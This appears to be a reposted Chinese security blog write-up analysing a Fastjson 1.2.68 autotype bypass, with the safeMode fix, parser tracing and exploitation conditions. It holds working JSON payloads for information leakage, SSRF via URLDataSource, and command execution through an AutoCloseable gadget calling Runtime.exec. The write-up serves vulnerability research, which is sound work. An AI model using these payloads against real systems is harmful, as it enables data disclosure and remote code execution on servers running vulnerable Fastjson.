Fastjson 1.2.68 bypass autotype

参考:
fastjson 1.2.68 最新版本有限制 autotype bypass

1.2.68加入了一个safeMode功能,默认未开启,需要用户手动开启。以下利用在默认未开启情况下可利用。
修复方法:

ParserConfig.getGlobalInstance().setSafeMode(true);

依赖:

        <!-- test for fastjson 1.2.68 autotype bypass -->
        <dependency>
            <groupId>org.seleniumhq.selenium</groupId>
            <artifactId>selenium-api</artifactId>
            <version>3.141.59</version>
        </dependency>

在这里下断点:
selenium-api\3.141.59\selenium-api-3.141.59.jar!\org\openqa\selenium\WebDriverException#getSystemInformation()
在这里插入图片描述

可以获取到一些敏感信息:
PoC:

{"content":{"$ref":"$x.systemInformation"}, "x": {"@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"}}

在这里插入图片描述
还可以看到一些方法栈信息,看到一些服务端使用的框架的信息。

当然这个前提是需要WEB应用的classpath存在selenium-api

作者提出还有一个思路可以SSRF(当然也需要相应的classpath):
从mvn引入,或者自己写一个类:

package org.joychou;

import javax.activation.DataSource;
import javax.activation.URLDataSource;
import java.net.URL;

public class DatasourceException extends Exception {

    public DatasourceException() {

    }

    private DataSource dataSource;

    public DataSource getDataSource() {
        return dataSource;
    }

    public void setDataSource(URL url) {
        this.dataSource = new URLDataSource(url);
    }
}

在这里插入图片描述
PoC:

{"@type":"java.lang.Exception","@type":"org.joychou.DatasourceException", "dataSource": {"@type": "java.net.URL", "val": "http://127.0.0.1:8888/fastjson"}}

在这里插入图片描述

细节

由于@type指定了为java.lang.Exception
fastjson-1.2.68.jar!\com\alibaba\fastjson\parser\DefaultJSONParser#parseObject(Map object, Object fieldName)

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);

得到的deserializer 为ThrowableDeserializer类型。
在这里插入图片描述

跟进:

obj = deserializer.deserialze(this, clazz, fieldName);

在这里插入图片描述

javax.activation.URLDataSource#getContentType
javax.activation.URLDataSource#getInputStream
调用两次HTTP请求。

在这里插入图片描述

java.lang.AutoCloseable

写一个实验类:

package org.joychou.controller;

import java.lang.AutoCloseable;

public class TestReadable implements AutoCloseable{

    private String testString;

    public TestReadable(){}

    public void setTestString(String cmd) throws Exception{
        Runtime.getRuntime().exec(cmd);
        testString = cmd;
    }

    @Override
    public void close() throws Exception {
        System.out.println("test by cqq!");
    }
}

调试截图:
在这里插入图片描述
在这里插入图片描述

发送json请求:

{"@type": "java.lang.AutoCloseable", "@type": "org.joychou.controller.TestReadable", "testString": "calc"}

在这里插入图片描述

所以漏洞利用条件:

  1. fastjson <= 1.2.68
  2. classpath里存在直接/间接implements AutoCloseable的类
  3. gadget不在fastjson的黑名单中

参考

  • https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649724832&idx=1&sn=38221072dc8ab301622548a7308d7d0f&chksm=888ca7cfbffb2ed93ceafaa535c0363884235a27e641c5f94f929fd5bd94fb7b02a8be3795c9&mpshare=1&scene=1&srcid=&sharer_sharetime=1591869951942&sharer_shareid=fb0655fa709c1756a98023e565a61b64&key=8e631ad1dbd881d4a5dffda86edf406c1be31e25f9e8a0867791a585710b6ffbb109da05f70e97f1d3ccf75f664804e5fc40c9df8cc1f2105e7025d4a90180d7e957bf000f0233d1c23e98fda09e9cdf&ascene=1&uin=NDc2ODEzNjQw&devicetype=Windows+10+x64&version=62090070&lang=zh_CN&exportkey=A8ZJ0aVz90cAzXqY2BuK18c%3D&pass_ticket=i10K8KJHYA0zyynTnKP1nzyeK4xv5y7%2Bv29Gba2y3ajPWV5%2BIxSVbKTwv%2FezpPn6
  • https://mp.weixin.qq.com/s/w_QK-Q95wV_zeXYUu6lIgA
  • https://paper.seebug.org/1236/
  • https://b1ue.cn/archives/382.html

调用get方法,比如getInstance方法:

"instance":{"$ref":"$.instance"}

例如以下代码:

JSON.parse(json);   // 默认不会调用getter 使用$ref就可以调用到getInstance()
//        JSON.parseObject(json); // parseObject默认就会调用getter getInstance()

猜你喜欢

转载自blog.csdn.net/caiqiiqi/article/details/106050079